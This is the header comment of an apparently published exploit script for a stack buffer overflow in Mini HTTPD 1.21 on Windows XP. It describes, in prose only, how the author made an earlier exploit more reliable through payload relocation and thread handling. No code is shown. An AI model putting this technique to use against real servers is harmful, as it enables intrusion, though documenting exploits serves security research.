# Title: Mini HTTPD stack buffer overflow POST exploit
# Author: TheColonial
# Date: 20 Feb 2013
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Vendor Homepage: http://www.picolix.jp/
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/
# I wrote this up because the existing version had a hard-coded payload and
# didn't work on any of my XP boxes.
#
# The instability of the existing is down to bad chars, and the parent thread
# killing off the child thread when the thing is still running. This exploit
# allocates memory in a safe area, copies the payload to it, creates a new
# thread which runs the payload and then suspends the current thread. The
# suspending of the thread forces the parent to kill it off rather than let
# it crash and potentially bring the process down.
#
# Run the script without arguments to see usage.
